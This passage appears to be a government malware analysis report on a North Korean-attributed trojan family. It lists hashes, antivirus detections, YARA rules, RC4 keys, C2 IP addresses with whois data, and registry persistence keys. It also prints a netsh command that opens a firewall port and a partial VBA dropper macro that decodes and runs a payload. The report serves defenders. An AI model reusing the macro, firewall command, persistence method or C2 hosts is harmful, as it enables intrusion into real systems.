Subkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\PrintConfigs"
ValueName = "Description"
ValueData = "RC4 encrypted configuration file data"
--End registry key--

The decrypted data contains hexadecimal encoded port numbers:

--Begin port # list --
BB 01 ==> 1BB ==>443
7F 00 ==> 7F ==> 127
FB 20 ==> 20FB ==> 8443
--End port # list --

The malware utilized the following command to open the Windows Firewall on the victim’s machine to allow incoming connections.

--Begin firewall modification--
"netsh.exe advfirewall firewall add rule name="PortOpenning" dir=in protocol=tcp localport=443 action=allow enable=yes"
--End firewall modification--

The malware attempts to open ports 443, 127, and 8443 and wait for connection. The malware contains public SSL certificates in its resource name "101”. It is designed to generate crafted TLS sessions (fake TLS communication mechanism).

546dbd370a40c8e46f9b599a414f25000eec5ae6b3e046a035fe6e6cd5d874e1

Tags

droppertrojan

Details
Name6AB301FC3296E1CEB140BF5D294894C5
Size259584 bytes
TypePE32+ executable (DLL) (GUI) x86-64, for MS Windows
MD56ab301fc3296e1ceb140bf5d294894c5
SHA18d62498656db928f987b47bdbcfab5d6032be48a
SHA256546dbd370a40c8e46f9b599a414f25000eec5ae6b3e046a035fe6e6cd5d874e1
SHA5123abd7a690d821ace78d8f5e2394f0922308963c7ba8ee63661e9cdb2e36fe8353904346b4b0457c6ace3071505533187d62a41d47473a6a9680cab7fca209ceb
ssdeep3072:JdHh7xVwMPRTxXX0bqkmvA7XKmJLiSi3Ix1DKXrlTNEsuFFCeojbmUkGVcNP+:17xVrxxn0PrWiv8hLnS+
Entropy5.918488
Antivirus
AVGAgent6.BHRZ.dropper
AhnlabTrojan/Win32.Agent
ESETa variant of Win32/NukeSped.AK trojan
Microsoft Security EssentialsTrojan:Win32/Autophyte.B!dha
Yara Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata
Compile Date2017-05-08 11:43:26-04:00
Import Hashb32c7db2b70ae7b183886924d873c585
PE Sections
MD5NameRaw SizeEntropy
24baa03194bc78f0184ea606128bc80fheader10242.821047
170ce86f9a7ffcd242f3903fafe1f302.text578566.433615
33b066692952c4534ebf0a56ca293085.rdata378885.095210
b4eed5366c4254a3c7f6c2f021c29efe.data1561604.916035
3ad7431aaa87a1e6b6400ca9b273d98a.pdata40964.579212
c23d2715b42b072fcf86b2aa58807b56.rsrc5124.714485
ad711ec082866631d620286bb36fdb72.reloc20484.752156
Relationships
546dbd370a...Contains3c809a10106990ba93ec0ed3b63ec8558414c6680f6187066b1aacd4d8c58210
Description

This file is a malicious 64-bit Windows dynamic-link library (DLL) that is designed to drop and execute an embedded file. The malware decodes the embedded file by XORing it with the value "0x35".

During analysis, the malware executed the file as C:\Windows\Temp\java.exe (3c809a10106990ba93ec0ed3b63ec8558414c6680f6187066b1aacd4d8c58210). The dropped file has been identified as a RAT.

3c809a10106990ba93ec0ed3b63ec8558414c6680f6187066b1aacd4d8c58210

Tags

backdoorremote-access-trojantrojan

Details
Namejava.exe
Size118784 bytes
TypePE32 executable (GUI) Intel 80386, for MS Windows
MD577b50bb476a85a7aa30c962a389838aa
SHA1df466a1f473c7c5eba5f22d90822fd1430b6a244
SHA2563c809a10106990ba93ec0ed3b63ec8558414c6680f6187066b1aacd4d8c58210
SHA51233b78e0bc8832958b79292bfebffe32c03b59b92044bb95331ee384f7061f6724c7d10bcf17ee1395dbd437b225c0813ba4bc5de6ef44f4bdd9ee58e446ad143
ssdeep3072:sPhrkoI8QYJRMs4y5pe+/a5sN5t4+PXP:Mi/lqpe+/0sa
Entropy5.880053
Antivirus
AVGAgent6.BHRZ
AhnlabBackdoor/Win32.Agent
AviraTR/Agent.bkecf
BitDefenderTrojan.GenericKD.30623185
CyrenW32/Trojan.YPCX-1821
ESETa variant of Win32/NukeSped.AK trojan
EmsisoftTrojan.GenericKD.30623185 (B)
F-secureTrojan.GenericKD.30623185
IkarusTrojan.Win32.NukeSped
K7Trojan ( 004fa2411 )
McAfeeTrojan-FNWY!77B50BB476A8
Microsoft Security EssentialsTrojan:Win32/Autophyte.B!dha
NANOAVTrojan.Win32.NukeSped.fajisv
Quick HealTrojan.Cossta
SymantecTrojan.Gen.MBT
TrendMicroTROJ_NUKESPED.A
TrendMicro House CallTROJ_NUKESPED.A
VirusBlokAdaTrojan.Cossta
Zillya!Trojan.Cossta.Win32.10325
Yara Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata
Compile Date2017-04-28 03:28:32-04:00
Import Hash85c89bf0449505044219f0be26213402
Company NameMicrosoft Corporation
File DescriptionProQuota
Internal Nameproquota
Legal CopyrightMicrosoft Corporation. All rights reserved.
Original Filenameproquota.exe.mui
Product NameMicrosoft Windows Operating System
Product Version6.1.7600.16385
PE Sections
MD5NameRaw SizeEntropy
81c12eb5fc3cbdd06675cd1097363a40header40960.689960
2539474aa6202371abd37a4d66031955.text860166.641666
b97c14b801643b3a61ea28266f3f71b1.rdata81924.735406
48eb8a67d4fd42ea24da9dc9029cb101.data163841.857068
c139ac9cb34e0620a10c15e5d42b85d2.rsrc40961.174962
Packers/Compilers/Cryptors
Microsoft Visual C++ v6.0
Relationships
3c809a1010...Contained_Within546dbd370a40c8e46f9b599a414f25000eec5ae6b3e046a035fe6e6cd5d874e1
3c809a1010...Connected_To184.107.209.2
3c809a1010...Connected_To111.207.78.204
3c809a1010...Connected_To80.91.118.45
3c809a1010...Connected_To181.119.19.56
Description

This file is a 32-bit Windows executable designed to connect to its remote server and wait for instructions. The malware’s APIs and strings (registry key, file names, and service name) are RC4 encrypted using the following key:

--Begin Rc4 key--
DA E1 61 FF 0C 27 95 87 17 57 A4 D6 EA E3 82 2B
--End Rc4 key--

This file is a RAT and contains the following embedded hexadecimal encoded C2 IP addresses and port numbers:

--Begin IP and port # list--
1BBh ==> 443
2D765B50h ==> 80.91.118.45
381377B5h ===> 181.119.19.56
0CC4ECF6Fh ==> 111.207.78.204
2D16BB8h ==> 184.107.209.2
--End IP and port # list--

When executed, it attempts to connect to its C2 IPs using port 443 and waits for instructions. The malware is designed to accept instructions from the remote server to perform additional functions:

--Begin functions perform by the malware--
Search for files
Execute process
Terminate processes
Delete files
Execute command-using shell
Download and upload files
Read files and write files
--End functions perform by the malware--

The malware is designed to use the same RC4 key to encrypt its configuration file data, which contains the hexadecimal encoded C2 IP address and port number. The encrypted configuration data is stored into the following registry key:

--Begin registry key--
hKey = HKEY_LOCAL_MACHINE
Subkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Applications\"
ValueName = "Description"
ValueData = "RC4 encrypted configuration file data"
--End registry key--

4bd7d801d7ce3fe9c2928dbc834b296e934473f5bbcc9a1fd18af5ebd43192cd

Tags

downloaderdroppertrojan

Details
Name3229A6CEA658B1B3CA5CA9AD7B40D8D4
Size712192 bytes
TypeComposite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 949, Author: ISkyISea, Template: Normal, Last Saved By: ISkyISea, Revision Number: 2, Name of Creating Application: Microsoft Office Word, Total Editing Time: 17:00, Create Time/Date: Mon Apr 3 18:36:00 2017, Last Saved Time/Date: Thu Apr 6 00:34:00 2017, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0
MD53229a6cea658b1b3ca5ca9ad7b40d8d4
SHA170730e608e2fcc68ce468ed148e965c5bacfb51c
SHA2564bd7d801d7ce3fe9c2928dbc834b296e934473f5bbcc9a1fd18af5ebd43192cd
SHA512ff385a9446415412950562cca832eab1d17de56932f3633a86202dea829e8bd25e56864306f2e6c8bb7ff7d2cfe2785acc4261410e38348946baf72d4a0696de
ssdeep12288:sh+81FiNloAzjMXJ1NPeZ3eMNZtF7fHRRAug0EX7:W1FiNWEYxeV3NfHDe
Entropy5.446016
Antivirus
BitDefenderVB:Trojan.Valyria.401
ESETVBA/TrojanDropper.Agent.YE trojan
EmsisoftVB:Trojan.Valyria.401 (B)
F-secureVB:Trojan.Valyria.401
McAfeeW97M/Dropper.dj
Microsoft Security EssentialsTrojanDropper:O97M/SilverMob.A!dha
NANOAVTrojan.Ole2.Vbs-heuristic.druvzi
Quick HealW97M.Downloader.BJS
SophosTroj/DocDl-KOR
nProtectSuspicious/W97M.Obfus.Gen
Yara Rules

No matches found.

ssdeep Matches

No matches found.

Description

This is a malicious Microsoft Word document, and contains Visual Basic for Application (VBA) macros. When the Word document is opened, the user is prompted to enable the use of macros by the Microsoft Word process. If the user enables macro execution, the embedded malicious macro will be executed and proceed to decode a PE binary and execute it from "%TEMP%\leo.exe”. A code snippet used to decode the malicious binary is displayed below:

--Begin code snippet--

   On Error GoTo gaqz
   
   liveOn = "mfp/fyf"
   
   liveOff = Environ("temp") + "\"
   For qnx = 1 To Len(liveOn)
       liveOff = liveOff + Chr(Asc(Mid$(liveOn, qnx, 1)) - 1)
   Next
   
   Dim str(238) As String

   str(1) = "Encoded hex data"
   str(2) = "Encoded hex data"
   str(3) = "Encoded hex data"
   str(4) = "Encoded hex data"
   str(5) = "Encoded hex data"
   .......
   .......
   str(238) = "Encoded hex data"

   Dim offBin(499) As Byte
   str(1) = "Encoded hex data"
   str(2) = "Encoded hex data"
   str(3) = "Encoded hex data"
   ......
   ......
   str(499) = "Encoded hex data"

   Open liveOff For Binary Access Write As #1

   lpdq = 1

   For jnx = 0 To 237
       For inx = 0 To 499
           offBin(inx) = Val("&H" + Mid(str(jnx + 1), inx * 2 + 1, 2))
           offBin(inx) = offBin(inx) Xor 231
       Next inx

       Put #1, lpdq, offBin
       lpdq = lpdq + 500
   Next jnx

   Close #1

   jfsukew liveOff



   liveOn = "tfdvsjuzxbsojoh`mndjsu`514/epd"

   liveOffd = Environ("temp") + "\"
   For qnx = 1 To Len(liveOn)
       liveOffd = liveOffd + Chr(Asc(Mid$(liveOn, qnx, 1)) - 1)
   Next qnx

   Dim strd(167) As String
strd(167) = ""

   Dim offBind(499) As Byte

   Open liveOffd For Binary Access Write As #2

   lpdq = 1

   For jnx = 0 To 166
       For inx = 0 To 499
           offBind(inx) = Val("&H" + Mid(strd(jnx + 1), inx * 2 + 1, 2))
           offBind(inx) = offBind(inx) Xor 231
       Next inx

       Put #2, lpdq, offBind
       lpdq = lpdq + 500
   Next jnx
   
   Close #2
   
   SetAttr liveOffd, 6
   
   bazs = ThisDocument.Name
   
   Application.Documents.Open (liveOffd)
   Application.ActiveDocument.ActiveWindow.Caption = bazs
   ThisDocument.Close
   
gaqz:
End Sub

Function Jdhcuad(Input_Str$) As String
   Dim Len_Str%, Result$, Temp_Str$, n%
   
   Len_Str = Len(Input_Str)
   For n = 1 To Len_Str
       Temp_Str = Mid(Input_Str, n, 1)
       Temp_Str = Chr(46 + (Asc(Temp_Str) - 46 - 20 + (122 - 46)) Mod (122 - 46))
       Result = Result + Temp_Str
   Next
   
   Jdhcuad = Result
End Function

Private Sub jfsukew(filename)
   Dim obj As Object
   Set obj = CreateObject(Jdhcuad("kgw:18<Bg0y44"))
   obj.Run filename, 1, False
   Set obj = Nothing
End Sub
--End code snippet--

c9e3b83d77ce93cc1d70b22e967f049b13515c88572aa78e0a838103e5478777

Tags

remote-access-trojantrojan

Details
NameBFB41BC0C3856AA0A81A5256B7B8DA51
Size578174 bytes
TypePE32+ executable (GUI) x86-64, for MS Windows
MD5bfb41bc0c3856aa0a81a5256b7b8da51
SHA1cb96e29332fe94d1a70309837f73daf7bec81284
SHA256c9e3b83d77ce93cc1d70b22e967f049b13515c88572aa78e0a838103e5478777
SHA51237223163a329ffa7b77a9190aab1da5fbf38c6d76139591d592d695e5caa81b56f6d3769540e2781c87a29de3d39e5e9c8ee70bd9ed6a0bee040917f530bc11a
ssdeep12288:jxn1kOPTkEjkHsnCrYHM46QyFgHj+u1XC1GbA/UXAfAGZI3PWM+:jxn1kOLkEQHsYYDdD+u1HbA/Uw47/L+
Entropy7.848313
Antivirus
AhnlabTrojan/Win32.Akdoor
Yara Rules
hidden_cobra_consolidated.yararule enc_PK_header { meta: author = "NCCIC trusted 3rd party" incident = "10135536" date = "2018-04-12" category = "hidden_cobra" family = "TYPEFRAME" hash0 = "3229a6cea658b1b3ca5ca9ad7b40d8d4" strings: $s0 = { 5f a8 80 c5 a0 87 c7 f0 9e e6 } $s1 = { 95 f1 6e 9c 3f c1 2c 88 a0 5a } $s2 = { ae 1d af 74 c0 f5 e1 02 50 10 } condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any of them }
hidden_cobra_consolidated.yararule import_obfuscation_2 { meta: author = "NCCIC trusted 3rd party" incident = "10135536" date = "2018-04-12" category = "hidden_cobra" family = "TYPEFRAME" hash0 = "bfb41bc0c3856aa0a81a5256b7b8da51" strings: $s0 = {A6 D6 02 EB 4E B2 41 EB C3 EF 1F} $s1 = {B6 DF 01 FD 48 B5 } $s2 = {B6 D5 0E F3 4E B5 } $s3 = {B7 DF 0E EE } $s4 = {B6 DF 03 FC } $s5 = {A7 D3 03 FC } condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them }
ssdeep Matches

No matches found.

PE Metadata
Compile Date2017-06-05 21:21:48-04:00
Import Hashc1bcec5e2d5d967daefaff0a252273a6
PE Sections
MD5NameRaw SizeEntropy
55b6d1ed6d76c7d17cc270bc1843d2cbheader10242.558659
6e501513865a783fa945269010ac3785.text696326.390707
45584c7afdc086b651d7299673643506.rdata240644.704433
4a8e757aef91c54de52d5b81098e0cc7.data76804.003255
de3fe99833797faa77379640174d16c4.pdata40964.786623
0cc425d0556c63acb7c04b9b1a211d5b.rsrc5125.105006
914f25782a74f42e42d7974b13bd01c8.reloc15362.869845
Packers/Compilers/Cryptors
Microsoft Visual C++ 8.0 (DLL)
Relationships
c9e3b83d77...Containse088c3a0b0f466df5329d9a66ff618de3d468d8a5981715303babb1452631eef
Description

This file is a 64-bit Windows executable version of the file 8c3e0204f52200325ed36db9b12aba1c5e46984d415514538a5bf10783cacdf8 and is designed to install a RAT as a service on the victim’s system. This file accepts the following arguments during execution "68S3mI2AMcmOz3BgjnuYpLlZ4fZog7sd".

The RAT’s APIs and strings (registry key, file names, and service name) are RC4 encrypted using the following key:

--Begin RC4 key--
85 C0 7C 17 8B 4D F4 8B 76 20 33 C0 3B C8 77 0B
--End RC4 key--

Decrypted strings of interest are displayed below:

--Begin strings of interest--
host.dll
"Task Notification Service"
"Monitors And Notifies Task Scheduling And Interaction"
netsvcs
--End strings of interest--

When executed, the RAT loads an embedded RC4 encrypted archive file from the start of the offset "0x1A800" of the file.

The malware decrypts the archive using the same Rc4 key. The decrypted archive contains a malicious DLL module, which is decompressed and installed into "C:\Windows\system32\dwnhost.dll”. The first three characters of the module name are randomly generated.

The malware contains RC4 encrypted configuration file data (192 bytes). During runtime, it installs the encrypted configuration data into the following registry key:

--Begin registry key--
hKey = HKEY_LOCAL_MACHINE
Subkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Applications\dwnhost.dll"
ValueName = "Description"
ValueData = "RC4 encrypted configuration file data"
--End registry key--

The malware installs a malicious DLL module as a serviceDLL in the "netsvcs" service group in order to execute "C:\Windows\system32\dwnhost.dll" by Windows service hosting process, "%SYSTEMROOT%\system32\svchost.exe”. The service name and the display name are randomly generated.

The installed service information is displayed below:

--Begin service--
ServiceName = "NWCWorkstation"
DisplayName = "NWCWorkstation"
DesiredAccess = SERVICE_ALL_ACCESS
ServiceType = SERVICE_WIN32_SHARE_PROCESS
StartType = SERVICE_AUTO_START
BinaryPathName = "%SYSTEMROOT%\system32\svchost.exe -k netsvcs"
--End service--

e088c3a0b0f466df5329d9a66ff618de3d468d8a5981715303babb1452631eef

Tags

remote-access-trojantrojan

Details
Namedwnhost.dll
Size1030144 bytes
TypePE32+ executable (DLL) (GUI) x86-64, for MS Windows
MD59722bc9e0efb4214116066d1ff14094c
SHA141a938499048a6ad8034d09e2fbb893da8f13ca9
SHA256e088c3a0b0f466df5329d9a66ff618de3d468d8a5981715303babb1452631eef
SHA5128470c240868441093314ebe263028ceef61d900b41aaeed77fd934edf81b9a75f6c96d0fccc0ac87364c8e23e0b8eb19ec8bcd47daf1d50c1182be999475fc4c
ssdeep12288:nqU713B5hV7rJIBBAVbyjRbjSbdSYJ3raxt7o6qRBpDwQmnQ2bqPjD+PmCNVGsPf:nRxJIB7hSZSG37jo/GsPepCdOwy
Entropy6.424883
Antivirus

No matches found.

Yara Rules
hidden_cobra_consolidated.yararule import_obfuscation_2 { meta: author = "NCCIC trusted 3rd party" incident = "10135536" date = "2018-04-12" category = "hidden_cobra" family = "TYPEFRAME" hash0 = "bfb41bc0c3856aa0a81a5256b7b8da51" strings: $s0 = {A6 D6 02 EB 4E B2 41 EB C3 EF 1F} $s1 = {B6 DF 01 FD 48 B5 } $s2 = {B6 D5 0E F3 4E B5 } $s3 = {B7 DF 0E EE } $s4 = {B6 DF 03 FC } $s5 = {A7 D3 03 FC } condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them }
ssdeep Matches

No matches found.

Relationships
e088c3a0b0...Contained_Withinc9e3b83d77ce93cc1d70b22e967f049b13515c88572aa78e0a838103e5478777
Description

dwnhost.dll (original name: DLL64.dll) is a 64-bit Windows dynamic-link library (DLL) of "laxhost.dll" (a71017302e1745c8a3d6e425187eb23c7531551bb6f547e47198563a78e933b6). This RAT module was installed as a service by the file "c9e3b83d77ce93cc1d70b22e967f049b13515c88572aa78e0a838103e5478777”.

The RAT’s APIs and strings (registry key, file names, and service name) are RC4 encrypted using the following key:

--Begin RC4 key--
85 C0 7C 17 8B 4D F4 8B 76 20 33 C0 3B C8 77 0B
--End RC4 key--

When executed, the RAT loads and decrypts the encrypted configuration file data from the registry using the same RC4 key.

--Begin registry key--
hKey = HKEY_LOCAL_MACHINE
Subkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Applications\dwnxhost.dll"
ValueName = "Description"
ValueData = "RC4 encrypted configuration file data"
--End registry key--

The decrypted data contains a hexadecimal encoded command and control IP address and port number:

--Begin IP and port # list--
BB 01 3B 5A 5D 61 ==> 59.90.93.97:443
--End IP and port # list--

The malware attempts to connect to its remote server IP 59.90.93.97 using port 443 and waits for instructions.

The malware is designed to accept instructions from the remote server to perform the following functions:

--Begin functions perform by the malware--
Get Disk Free Space
Search for files
Execute process in elevated mode
Terminate processes
Delete files
Execute command-using shell
Download and upload files
Read files and write files
Delete Service and uninstall malware components using a batch script
--End functions perform by the malware--

20abb95114de946da7595438e9edf0bf39c85ba8512709db7d5532d37d73bd64

Tags

remote-access-trojantrojan

Details
NameEF9DB20AB0EEBF0B7C55AF4EC0B7BCED
Size152064 bytes
TypePE32+ executable (GUI) x86-64, for MS Windows
MD5ef9db20ab0eebf0b7c55af4ec0b7bced
SHA10202942d11c994cece943bb873f3af156d820f59
SHA25620abb95114de946da7595438e9edf0bf39c85ba8512709db7d5532d37d73bd64
SHA51285fa80079c59da83e3b2471eab0d2981c92b6c589cbe5052bf438831ae464e6499040ead68d6bc9929edd9f6c08ecc6abf2a0173e31bd361a24fad89ff1f7064
ssdeep3072:qocqUTuIzXblpGxqSDBiiBmLEEjdTIf3TIb9Qw/uAZyerrPabYlQ:qJqUnXKxqSAiBJyTC3TIb9QRL0lQ
Entropy6.269643
Antivirus
ESETa variant of Win64/NukeSped.L trojan
Microsoft Security EssentialsTrojan:Win32/Autophyte.A!dha
Yara Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata
Compile Date2016-09-07 14:28:45-04:00
Import Hash13c53cfa11bb74ea99fefdf29d78a9f9
PE Sections
MD5NameRaw SizeEntropy
2082ea5adc4b910e8673c04dc7d962d2header10242.623906
e6e5ce270a5e80221a815dbf739883a2.text1116166.434048
3a7628ebb18c5e07cf37654fd431de6b.rdata261125.315772
52e12517ca5b2c29e9496bc3032f0d5d.data56322.052338
f9b37a6c76a99538605929f5bef6c2e2.pdata56325.165417
d5ecc406ee2be45ed510958b0d4f326a.rsrc5125.112624
07b2edf2675fa88a86c977fec3ad03cd.reloc15362.826598
Packers/Compilers/Cryptors
Microsoft Visual C++ 8.0 (DLL)
Relationships
20abb95114...Connected_To98.101.211.162
20abb95114...Connected_To81.0.213.173
Description

This file is a 64-bit Windows executable designed to connect to its remote server and wait for instructions. The malware’s file APIs and strings (registry key, file names, and service name) are RC4 encrypted using the following key:

--Begin RC4 key--
DA E1 61 FF 0C 27 95 87 17 57 A4 D6 EA E3 82 2B
--End RC4 key--

This file is a variant of a RAT that contains the following embedded hexadecimal-encoded C2 IP address and port number:

--Begin IP and port # list--
1BBh ==> 443
0A2D36562h ==> 98.101.211.162
0ADD50051h ==> 81.0.213.173
--End IP and port # list--

When executed, it attempts to connect to its C2 IPs using port 443 and waits for instructions. The malware is designed to accept instructions from the remote server to perform additional functions.

201c7cd10a2bd50dde0948d14c3c7a0732955c908a3392aee3d08b94470c9d33

Tags

proxytrojan

Details
Name1C53E7269FE9D84C6DF0A25BA59B822C
Size126976 bytes
TypePE32 executable (DLL) (GUI) Intel 80386, for MS Windows
MD51c53e7269fe9d84c6df0a25ba59b822c
SHA1b775d753671133cbc4919764d2fac0d298166b07
SHA256201c7cd10a2bd50dde0948d14c3c7a0732955c908a3392aee3d08b94470c9d33
SHA5123d3883b9b29e264d023b7034d980b7c206c9fc82010bf7f5f1dc454fdbd316830fe69e90579406a74afc1fca8e266d10c1b46784bd661dcb2815e370a68acd32
ssdeep1536:EaMa/KVyD4hv6LLETuA1x+sh2iE1s44tz4qoWYUwnZ7hUOC2:G8YPZ6LLqQFX4tz4quxY
Entropy6.024087
Antivirus
AhnlabWin-Trojan/Hwdoor.Gen
BitDefenderGen:Trojan.Heur.LP.hu4@amSEbedG
ESETa variant of Win32/NukeSped.AK trojan
EmsisoftGen:Trojan.Heur.LP.hu4@amSEbedG (B)
F-secureGen:Trojan.Heur.LP.hu4@amSEbedG
Microsoft Security EssentialsTrojan:Win32/Autophyte.B!dha
SymantecHeur.AdvML.C
Yara Rules
hidden_cobra_consolidated.yararule import_deob { meta: author = "NCCIC trusted 3rd party" incident = "10135536" date = "2018-04-12" category = "hidden_cobra" family = "TYPEFRAME" md5 = "ae769e62fef4a1709c12c9046301aa5d" md5 = "e48fe20eblf5a5887f2ac631fed9ed63" strings: $ = { 8a 01 3c 62 7c 0a 3c 79 7f 06 b2 db 2a d0 88 11 8a 41 01 41 84 c0 75 e8} $ = { 8A 08 80 F9 62 7C 0B 80 F9 79 7F 06 82 DB 2A D1 88 10 8A 48 01 40 84 C9 75 E6} condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any of them }
ssdeep Matches

No matches found.

PE Metadata
Compile Date2015-07-08 22:50:54-04:00
Import Hash21ccd1b1341683d8831663fc3ed8f86d
PE Sections
MD5NameRaw SizeEntropy
f066de8df54d4f92795472d981374309header40960.736742
f066de8df54d4f92795472d981374309header40960.736742
e321dba33ae4db3b9e29aa6072b92e77.text573446.464385
e321dba33ae4db3b9e29aa6072b92e77.text573446.464385
a256d5f52608331df8545a9d38751462.rdata81923.628560
a256d5f52608331df8545a9d38751462.rdata81923.628560
1d905ad87919346eb6c8463f61b599e8.data163841.547483
1d905ad87919346eb6c8463f61b599e8.data163841.547483
afdf2120655e37010482a536d552199e.rsrc327687.100033
afdf2120655e37010482a536d552199e.rsrc327687.100033
bbeec3983cc5b2094f8311718d327480.reloc81923.234713
bbeec3983cc5b2094f8311718d327480.reloc81923.234713
Packers/Compilers/Cryptors
Microsoft Visual C++ 6.0
Microsoft Visual C++ 6.0 DLL (Debug)
Description

This file (original name: Proxy_SVC_DLL.dll) is a proxy module installed as a service. The proxy installer that installs this module was not available for analysis.

This file is designed to open the Windows Firewall on the victim’s machine to allow incoming connections and force the compromised system to function as a proxy server. The malware’s APIs and strings (registry key, file names, and service name) are RC4 encrypted using the following key:

--Begin Rc4 key--
DA E1 61 FF 0C 27 95 87 17 57 A4 D6 EA E3 82 2B
--End Rc4 key--

When executed, the proxy installer will attempt to load and decrypt the encrypted configuration file data from the registry using the RC4 key.

--Begin registry key--
hKey = HKEY_LOCAL_MACHINE
Subkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\PrintConfigs"
ValueName = "Description"
ValueData = "RC4 encrypted configuration file data"
--End registry key--

Analysis indicates that the decrypted configuration data contains port numbers. The malware utilized the following command to open the Windows Firewall on the victim’s machine to allow incoming connections:

--Begin firewall modification--
"netsh.exe advfirewall firewall add rule name="PortOpenning" dir=in protocol=tcp localport=<decrypted port number> action=allow enable=yes"
--End firewall modification--

The malware attempts to open the predefined port and waits for connection. The malware contains public SSL certificates in its resource name "101”. It is designed to generate crafted TLS sessions (fake TLS communication mechanism).

98.101.211.162

Ports
  • 443 TCP
Whois

NetRange:     98.100.0.0 - 98.103.255.255
CIDR:         98.100.0.0/14
NetName:        RCMS
NetHandle:     NET-98-100-0-0-1
Parent:         NET98 (NET-98-0-0-0-0)
NetType:        Direct Allocation
OriginAS:    
Organization: Time Warner Cable Internet LLC (RCMS)
RegDate:        2008-03-17
Updated:        2009-05-05
Ref:            https://whois.arin.net/rest/net/NET-98-100-0-0-1


OrgName:        Time Warner Cable Internet LLC
OrgId:         RCMS
Address:        6399 S Fiddlers Green Circle
City:         Greenwood Village
StateProv:     CO
PostalCode:     80111
Country:        US
RegDate:        2001-09-25
Updated:        2018-03-07
Comment:        Allocations for this OrgID serve Road Runner commercial customers out of the Columbus, OH, Herndon, VA and Raleigh, NC RDCs.
Ref:            https://whois.arin.net/rest/org/RCMS

Relationships
98.101.211.162Connected_From20abb95114de946da7595438e9edf0bf39c85ba8512709db7d5532d37d73bd64

81.0.213.173

Ports
  • 443 TCP
Whois

inetnum:        81.0.213.168 - 81.0.213.175
netname:        CmsConsulting-CZ
descr:         CMS Consulting s.r.o.
country:        CZ
admin-c:        CASA3-RIPE
tech-c:         CASA3-RIPE
status:         ASSIGNED PA
mnt-by:         CASABLANCA-RIPE-MNT
created:        2009-10-09T07:31:35Z
last-modified: 2009-10-09T07:31:35Z
source:         RIPE

role:         Casablanca INT RIPE manager
address:        Casablanca INT
address:        Vinohradska 184, Prague 3 - 130 52
address:        Czech republic
phone:         +420 270 000 270
fax-no:         +420 270 000 277
e-mail:         hostmaster@casablanca.cz
abuse-mailbox: abuse@casablanca.cz
admin-c:        JH1771-RIPE
tech-c:         JH1771-RIPE
notify:         hostmaster@casablanca.cz
nic-hdl:        CASA3-RIPE
created:        2005-09-05T10:42:10Z
last-modified: 2015-07-03T11:19:49Z
source:         RIPE
mnt-by:         CASABLANCA-CORE-MNT

% Information related to '81.0.213.0/24AS15685'

route:         81.0.213.0/24
descr:         Casablanca INT prefix fraction
origin:         AS15685
mnt-by:         CASABLANCA-CORE-MNT
created:        2017-06-30T09:41:16Z
last-modified: 2017-06-30T09:41:16Z
source:         RIPE

Relationships
81.0.213.173Connected_From20abb95114de946da7595438e9edf0bf39c85ba8512709db7d5532d37d73bd64

184.107.209.2

Ports
  • 443 TCP
Whois

Domain Name: TVDAIJIWORLD.COM
Registry Domain ID: 632237350_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.godaddy.com
Registrar URL: http://www.godaddy.com
Updated Date: 2017-10-16T06:44:25Z
Creation Date: 2006-10-14T19:18:50Z
Registrar Registration Expiration Date: 2018-10-14T19:18:50Z
Registrar: GoDaddy.com, LLC
Registrar IANA ID: 146
Registrar Abuse Contact Email: abuse@godaddy.com
Registrar Abuse Contact Phone: +1.4806242505
Domain Status: clientTransferProhibited http://www.icann.org/epp#clientTransferProhibited
Domain Status: clientUpdateProhibited http://www.icann.org/epp#clientUpdateProhibited
Domain Status: clientRenewProhibited http://www.icann.org/epp#clientRenewProhibited
Domain Status: clientDeleteProhibited http://www.icann.org/epp#clientDeleteProhibited
Registry Registrant ID: Not Available From Registry
Registrant Name: ******** ******** (see Notes section below on how to view unmasked data)
Registrant Organization: Konkandaiz
Registrant Street: Post Box 53608
Registrant Street: Dubai
Registrant City: Dubai
Registrant State/Province: Not Applicable
Registrant Postal Code: 04
Registrant Country: AE
Registrant Phone: ************
Registrant Phone Ext:
Registrant Fax: 111111111111
Registrant Fax Ext:
Registrant Email: ********@*****.***
Registry Admin ID: Not Available From Registry
Admin Name: ******** ******** (see Notes section below on how to view unmasked data)
Admin Organization: Konkandaiz
Admin Street: Post Box 53608
Admin Street: Dubai
Admin City: Dubai
Admin State/Province: Not Applicable
Admin Postal Code: 04
Admin Country: AE
Admin Phone: ************
Admin Phone Ext:
Admin Fax: 111111111111
Admin Fax Ext:
Admin Email: ********@*****.***
Registry Tech ID: Not Available From Registry
Tech Name: ******** ******** (see Notes section below on how to view unmasked data)
Tech Organization: Konkandaiz
Tech Street: Post Box 53608
Tech Street: Dubai
Tech City: Dubai
Tech State/Province: Not Applicable
Tech Postal Code: 04
Tech Country: AE
Tech Phone: ************
Tech Phone Ext:
Tech Fax: 111111111111
Tech Fax Ext:
Tech Email: ********@*****.***
Name Server: MY.PRIVATEDNS.COM
Name Server: YOUR.PRIVATEDNS.COM
DNSSEC: unsigned

Relationships
184.107.209.2Connected_From3c809a10106990ba93ec0ed3b63ec8558414c6680f6187066b1aacd4d8c58210

111.207.78.204

Ports
  • 443 TCP
Whois

inetnum:        111.192.0.0 - 111.207.255.255
netname:        UNICOM-BJ
descr:         China Unicom Beijing province network
descr:         China Unicom
country:        CN
admin-c:        CH1302-AP
tech-c:         SY21-AP
remarks:        service provider
mnt-by:         APNIC-HM
mnt-lower:     MAINT-CNCGROUP
mnt-lower:     MAINT-CNCGROUP-BJ
mnt-routes:     MAINT-CNCGROUP-RR
status:         ALLOCATED PORTABLE
mnt-irt:        IRT-CU-CN
last-modified: 2016-05-04T00:18:25Z
irt:            IRT-CU-CN
address:        No.21,Financial Street
address:        Beijing,100033
address:        P.R.China
